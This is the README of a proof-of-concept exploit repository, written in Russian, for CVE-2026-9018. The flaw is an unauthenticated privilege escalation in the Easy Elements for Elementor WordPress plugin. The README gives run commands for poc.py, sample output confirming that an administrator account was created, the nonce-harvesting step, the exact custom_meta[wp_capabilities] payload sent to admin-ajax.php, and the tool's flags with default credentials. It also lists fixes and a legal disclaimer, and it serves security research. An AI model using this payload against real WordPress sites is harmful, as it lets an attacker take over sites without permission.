
Неаутентифицированное повышение привилегий CVE-2026-9018: Easy Elements для Elementor
Исследование: Atomic Edge Серьезность: Высокая | CVSS: 8.8 | Требуется аутентификация: Нет
Уязвимость эскалации привилегий без аутентификации существует в плагине WordPress Easy Elements for Elementor – Addons & Website Templates (версии ≤ 1.4.5). Функция easyel_handle_register(), доступная через обработчик AJAX wp_ajax_nopriv_eel_register, передает управляемые атакующим значения POST из custom_meta напрямую в update_user_meta() без какого-либо белого списка ключей. Это позволяет неаутентифицированному атакующему перезаписать мета-ключ wp_capabilities и создать учетную запись с правами администратора.
Перед эксплуатацией на целевом сайте должны быть выполнены следующие условия:
Настройки → Общие → Любой может зарегистрироваться)easy_elements_nonce в DOM страницы.pip install requests
# Basic — nonce fetched from homepage
python3 poc.py -u https://target.com
# Custom credentials
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget is on /login/ page
python3 poc.py -u https://target.com --nonce-page /login/
# Skip SSL verification
python3 poc.py -u https://target.com --no-verify
# Skip post-exploit login check
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
Эксплойт состоит из двух шагов:
Шаг 1 — Сбор nonce
Виджет входа/регистрации Elementor плагина отображает скрытое поле easy_elements_nonce в HTML страницы. Этот nonce доступен любому неаутентифицированному посетителю и извлекается с помощью регулярного выражения из исходного кода страницы.
Шаг 2 — Вредоносная регистрация
Отправляется POST-запрос на /wp-admin/admin-ajax.php с параметром action=eel_register. Массив custom_meta формируется таким образом, чтобы включать:
custom_meta[wp_capabilities][administrator] = 1
Поскольку easyel_handle_register() передает все ключи custom_meta напрямую в update_user_meta() без белого списка, пользовательская мета wp_capabilities перезаписывается после регистрации, предоставляя новому пользователю полные права администратора.
Разработчики должны применить следующие исправления в easyel_handle_register():
custom_meta (например, first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user(), если это не требуется→ Обновите Easy Elements for Elementor до версии 1.4.6 или новее немедленно.
Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте этот инструмент против какой-либо системы без явного письменного разрешения владельца системы. Несанкционированное использование может нарушать CFAA (США), Уголовный кодекс s.342.1 (Канада), Директиву ЕС NIS2 и другие применимые законы. Авторы не несут ответственности за неправильное использование или ущерб, возникший в результате использования этого кода.
| Свойство | Подробности |
|---|
| Плагин | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Затронуто | ≤ 1.4.5 |
| Исправлено в | 1.4.6+ |
| Вектор | Сеть / Без аутентификации |
| CWE | CWE-269: Неправильное управление привилегиями |
| AJAX-действие | eel_register (nopriv) |
| Флаг | Описание | По умолчанию |
|---|
-u, --url | Целевой URL WordPress | (обязательно) |
-U, --username | Имя пользователя для новой учетной записи администратора | atomic_admin |
-e, --email | Email для новой учетной записи администратора | [email protected] |
-p, --password | Пароль для новой учетной записи администратора | Atomic@Edge2026! |
-np, --nonce-page | Путь к странице, содержащей виджет входа/регистрации | / |
--no-verify | Отключить проверку SSL-сертификата | false |
--skip-verify-login | Пропустить проверку входа в WP admin после эксплуатации | false |